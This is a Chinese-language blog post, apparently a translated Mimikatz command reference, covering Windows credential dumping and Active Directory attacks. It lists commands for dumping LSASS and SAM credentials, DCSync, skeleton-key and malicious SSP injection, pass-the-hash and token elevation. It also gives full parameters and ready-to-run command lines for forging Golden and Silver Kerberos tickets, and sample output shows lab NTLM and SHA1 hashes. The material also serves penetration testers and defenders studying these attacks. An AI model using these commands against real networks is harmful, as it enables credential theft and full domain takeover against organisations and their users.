非官方Mimikatz指南和命令参考

2020-05-29 10:45:02 浏览数 (1)

0x00:简介:

Mimikatz是从Windows系统收集凭据数据的最佳工具之一.实际上,大多数认为Mimikatz是Windows凭据的"瑞士军刀"(或多功能工具),该工具可以完成所有任务.由于Mimikatz的作者Benjamin Delpy是法国人,因此,至少在他的博客上,大多数描述Mimikatz用法的资源都使用法语.该Mimikatz GitHub的库是英文的,包括命令使用的有用信息.

代码语言:javascript复制
https://github.com/gentilkiwi/mimikatz

Mimikatz是Benjamin Delpy(@gentilkiwi)于2007年用C编写的Windows x32/x64程序,以了解有关Windows凭据的更多信息(并作为概念证明).有两个提供其他功能的可选组件:mimidrv(与Windows内核交互的驱动程序)和mimilib(AppLocker绕过,Auth软件包/ SSP,密码过滤器和WinDBG的sekurlsa).Mimikatz需要管理员或SYSTEM权限,并且通常具有调试权限,以便执行某些操作并与LSASS进程进行交互(取决于所请求的操作).Mimikatz.exe包含或至少应包含此处注明的所有功能.

发行版本:https://github.com/gentilkiwi/mimikatz/releases

WIKI文档:https://github.com/gentilkiwi/mimikatz/wiki

0x01:最受欢迎的Mimikatz命令:

CRYPTO::Certificates –列表/导出证书

KERBEROS::Golden –创建黄金/白银/信托票

KERBEROS::List –列出用户存储器中的所有用户票证(TGT和TGS).不需要特殊特权,因为它仅显示当前用户的票证.类似于" klist"的功能.

KERBEROS::PTT –通过门票.通常用于注入被盗或伪造的Kerberos票证(黄金/白银/信任).

LSADUMP::DCSync –要求DC同步对象(获取帐户的密码数据).无需在DC上运行代码.

LSADUMP::LSA –要求LSA服务器检索SAM / AD企业(正常,即时修补或注入).用于从域控制器或lsass.dmp转储文件中转储所有Active Directory域凭据.也用于通过参数/ name获取特定的帐户凭据,例如krbtgt:" / name:krbtgt"

LSADUMP::SAM –获取SysKey以解密SAM条目(从注册表或配置单元).SAM选项连接到本地安全帐户管理器(SAM)数据库,并转储本地帐户的凭据.这用于转储Windows计算机上的所有本地凭据.

LSADUMP::Trust –要求LSA服务器检索信任验证信息(正常或即时修补).转储所有关联的信任(域/林)的信任密钥(密码).

MISC::AddSid –添加到用户帐户的SIDHistory.第一个值是目标帐户,第二个值是帐户/组名称(或SID).移至SID:自2016年5月6日起修改.

MISC::MemSSP –注入恶意的Windows SSP来记录本地身份验证的凭据.

MISC::Skeleton –将万能钥匙插入域控制器上的LSASS进程.这样,所有用户对经过Skeleton Key修补的DC的身份验证都可以使用"主密码"(也称为Skeleton Key)以及其通常的密码.

PRIVILEGE::Debug –获得调试权限(许多Mimikatz命令需要此权限或"本地系统"权限).

SEKURLSA::Ekeys –列出Kerberos加密密钥

SEKURLSA::Kerberos –列出所有经过身份验证的用户(包括服务和计算机帐户)的Kerberos凭据

SEKURLSA::Krbtgt –获取域Kerberos服务帐户(KRBTGT)密码数据

SEKURLSA::LogonPasswords –列出所有可用的提供者凭证.这通常显示最近登录的用户和计算机凭据.

SEKURLSA::Pth – Pass-theHash和Over-pass-the-Hash

SEKURLSA::Tickets –列出所有最近通过身份验证的用户的所有可用Kerberos票证,包括在用户帐户和本地计算机的AD计算机帐户的上下文中运行的服务.与kerberos::list不同,sekurlsa使用内存读取,并且不受密钥导出限制.sekurlsa可以访问其他会话(用户)的票证.

TOKEN::List –列出系统的所有令牌

TOKEN::Elevate –模拟令牌.用于将权限提升为SYSTEM(默认)或在框中找到域管理员令牌

TOKEN::Elevate / domainadmin –使用Domain Admin凭据模拟令牌.

0x02:Mimikatz命令指南:

一、只需运行"Mimikatz.exe"或向其传递命令并退出,即可以交互模式执行Mimikatz

(例如:"Mimikatz"kerberos :: list" exit")

Mimikatz可用于将命令从命令行传递到Mimikatz进行处理,以便对Invoke-Mimikatz或在脚本中使用Mimikatz.执行最后一条命令后,追加"退出"将退出Mimikatz(执行此操作以使Mimikatz正常退出).

代码语言:javascript复制
PS C:tempmimikatz> .mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit.#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32) .## ^ ##. ## /  ##  /* * * ##  / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo) '#####'                                     with 17 modules * * */mimikatz(commandline) # privilege::debug Privilege '20' OKmimikatz(commandline) # sekurlsa::logonpasswordsAuthentication Id : 0 ; 646260 (00000000:0009dc74) Session           : RemoteInteractive from 2 User Name         : adsadministrator Domain            : ADSECLAB Logon Server      : ADSDC03 Logon Time        : 11/27/2015 11:41:27 AM SID               : S-1-5-21-1581655573-3923512380-696647894-500 msv : [00000003] Primary * Username : ADSAdministrator * Domain   : ADSECLAB * NTLM     : 5164b7a0fda365d56739954bbbc23835 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f [00010000] CredentialKeys * NTLM     : 5164b7a0fda365d56739954bbbc23835 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f tspkg : wdigest : * Username : ADSAdministrator * Domain   : ADSECLAB * Password : (null) kerberos : * Username : adsadministrator * Domain   : LAB.ADSECURITY.ORG * Password : (null) ssp :   KO

二、交互模式提供了一个"Mimikatz控制台",可以在其中实时输入和执行命令:

代码语言:javascript复制
PS C:tempmimikatz> .mimikatz.#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32) .## ^ ##. ## /  ##  /* * * ##  / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo) '#####'                                     with 17 modules * * */mimikatz # privilege::debug Privilege '20' OKmimikatz # sekurlsa::logonpasswordsAuthentication Id : 0 ; 646260 (00000000:0009dc74) Session           : RemoteInteractive from 2 User Name         : adsadministrator Domain            : ADSECLAB Logon Server      : ADSDC03 Logon Time        : 11/27/2015 11:41:27 AM SID               : S-1-5-21-1581655573-3923512380-696647894-500 msv : [00000003] Primary * Username : ADSAdministrator * Domain   : ADSECLAB * NTLM     : 5164b7a0fda365d56739954bbbc23835 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f [00010000] CredentialKeys * NTLM     : 5164b7a0fda365d56739954bbbc23835 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f tspkg : wdigest : * Username : ADSAdministrator * Domain   : ADSECLAB * Password : (null) kerberos : * Username : adsadministrator * Domain   : LAB.ADSECURITY.ORG * Password : (null) ssp :   KO credman :

0x03:Mimikatz 模块:

  • BUSYLIGHT
  • CRYPTO (加密)
  • CRYPTO::Certificates
  • DPAPI
  • EVENT (日志/事件)
  • IIS
  • KERBEROS
  • Golden Tickets (黄金票据)
  • Silver Tickets (白银票据)
  • Trust Tickets (信托票据)
  • KERBEROS::PTT
  • LSADUMP
  • DCSync
  • DCShadow
  • LSADUMP::LSA
  • LSADUMP::NetSync
  • LSADUMP::SAM
  • LSADUMP::Trust
  • MISC
  • MINESWEEPER
  • NET
  • PRIVILEGE
  • PRIVILEGE::Debug
  • PROCESS
  • RPC
  • SERVICE
  • SEKURLSA
  • SEKURLSA::Kerberos
  • SEKURLSA::Krbtgt
  • SEKURLSA::LogonPasswords
  • SEKURLSA::Pth
  • SID
  • STANDARD
  • SYSENV
  • TOKEN (令牌)
  • TOKEN::Elevate
  • TOKEN::Elevate /domainadmin
  • TS
  • VAULT

0x04:Mimikatz 案例模块讲解:

一、Golden Tickets (黄金票据)

何为黄金票据?

黄金票据是使用KRBTGT NTLM密码哈希进行加密和签名的TGT.可以创建黄黄金票据证(GT),以将域中的任何用户(真实或想象中的)模拟为域中任何资源的域中任何组的成员(提供几乎无限的权利).

由于黄黄金票据证是身份验证票证(如下所述的TGT),由于TGT用于获取用于访问资源的服务票证(TGS),因此其范围是整个域(以及利用SID历史记录的AD林).黄黄金票据证(TGT)包含用户组成员身份信息(PAC),并使用域的Kerberos服务帐户(KRBTGT)进行签名和加密,该帐户只能由KRBTGT帐户打开和读取.

总而言之,一旦攻击者可以访问KRBTGT密码哈希,他们就可以创建黄黄金票据证(TGT),以便随时访问AD中的任何内容.

创建金票的Mimikatz命令是"kerberos :: golden"

/domain-完全限定的域名.举个栗子:"lab.adsecurity.org”.

/sid-域的SID.举个栗子:"S-1-5-21-1473643419-774954089-2222329127”.

/sids-具有要票证欺骗的权限的AD林中帐户/组的其他SID.通常,这将是根域"S-1-5-21-1473643419-774954089-5872329127-519"的EnterpriseAdmins组.Ť 他的参数将提供的小岛屿发展中国家的SID历史参数.

/user-要模拟的用户名

/groups(可选)–用户所属的组RID(第一个是主组).添加用户或计算机帐户RID以获得相同的访问权限.默认组:知名管理员组的513,512,520,518,519(下面列出).

/krbtgt-域KDC服务帐户(KRBTGT)的NTLM密码哈希.用于加密和签名TGT.

/ticket(可选)–提供用于保存GoldenTicket文件以供以后使用的路径和名称,或使用/ptt立即将GoldenTicket注入内存以供使用.

/ptt-作为/ticket的替代方案–使用它可以立即将伪造的票证注入内存以供使用.

/id(可选)–用户RID.Mimikatz的默认值为500(默认的管理员帐户RID).

/startoffset(可选)–票证可用时的起始偏移量(如果使用此选项,通常设置为–10或0).Mimikatz默认值为0.

/endin(可选)–票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为10小时(600分钟).

/renewmax(可选)–续订的最大票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为7天(10,080分钟).

/sids(可选)–设置为AD林中EnterpriseAdmins组的SID([ADRootDomainSID]-519),以欺骗整个AD林中的企业管理员权限(AD林中每个域中的ADadmin).

/aes128-AES128密钥

/aes256-AES256密钥

黄金票据默认组:

  • 域用户SID:S-1-5-21 <DOMAINID> -513
  • 域管理员SID:S-1-5-21 <DOMAINID> -512
  • 架构管理员SID:S-1-5-21 <DOMAINID> -518
  • 企业管理员SID:S-1-5-21 <DOMAINID> -519(仅当在林根域中创建伪造票证时有效,尽管使用/ sids参数添加AD林管理员权限)
  • 组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
代码语言:javascript复制
kerberos :: golden / admin:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt

举个栗子:

代码语言:javascript复制
.mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt” exit

二、Silver Ticket (白银票据)

何为白银票据?

Silver Ticket是使用目标服务帐户的NTLM密码哈希(通过SPN映射标识)进行加密和签名的TGS(格式类似于TGT).

创建银票的Mimikatz命令是“kerberos::golden"

/domain-完全限定的域名.在此示例中:"lab.adsecurity.org".

/sid–域的SID.在此示例中:"S-1-5-21-1473643419-774954089-2222329127".

/sids–具有要票证欺骗的权限的AD林中帐户/组的其他SID.通常,这将是根域"S-1-5-21-1473643419-774954089-5872329127-519"的EnterpriseAdmins组.

/user-模拟用户名

/groups(可选)–用户所属的组RID(第一个是主组)默认值:知名管理员组(如下所列)的513,512,520,518,519.

/ticket(可选)–提供用于保存伪造的票证文件以供以后使用的路径和名称,或使用/ptt立即将黄金票证注入内存以供使用.

/ptt–作为/ticket的替代方案–使用它可以立即将伪造的票证注入内存以供使用.

/id(可选)–用户RID.Mimikatz的默认值为500(默认的管理员帐户RID).

/startoffset(可选)–票证可用时的起始偏移量(如果使用此选项,通常设置为–10或0).Mimikatz默认值为0.

/endin(可选)–票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为10小时(600分钟).

/renewmax(可选)–带有续订的最大票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为7天(10,080分钟).

/aes128–AES128密钥

/aes256–AES256密钥

白银票必填参数:(重点重点重点)

/target-目标服务器的FQDN.

/service –在目标服务器上运行的kerberos服务.这是服务主体名称类(或类型),举个栗子:cifs,http,mssql.

/rc4 –服务(计算机帐户或用户帐户)的NTLM hash

白银票据默认组:

  • 域用户SID:S-1-5-21 <DOMAINID> -513
  • 域管理员SID:S-1-5-21 <DOMAINID> -512
  • 架构管理员SID:S-1-5-21 <DOMAINID> -518
  • 企业管理员SID:S-1-5-21 <DOMAINID> -519(仅当在林根域中创建伪造票证时有效,尽管使用/ sids参数添加AD林管理员权限)
  • 组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520

创建白银票据的示例Mimikatz命令:

以下Mimikatz命令在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建银票.

为了成功创建此Silver Ticket,需要通过AD域转储或通过在本地系统上运行Mimikatz来发现adsmswin2k8r2.lab.adsecurity.org的AD计算机帐户密码哈希,

如上所示

代码语言:javascript复制
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit

NTLM密码哈希与/rc4参数一起使用.还需要在/service参数中标识服务SPN类型.最后,需要在/target参数中提供目标计算机的标准域名.不要忘记/sid参数中的域SID.

代码语言:javascript复制
mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

0x05:Referer

代码语言:javascript复制
https://adsecurity.org/?page_id=1821http://blog.gentilkiwi.com/mimikatzhttp://t3ngyu.leanote.com/cate/横向渗透

0 人点赞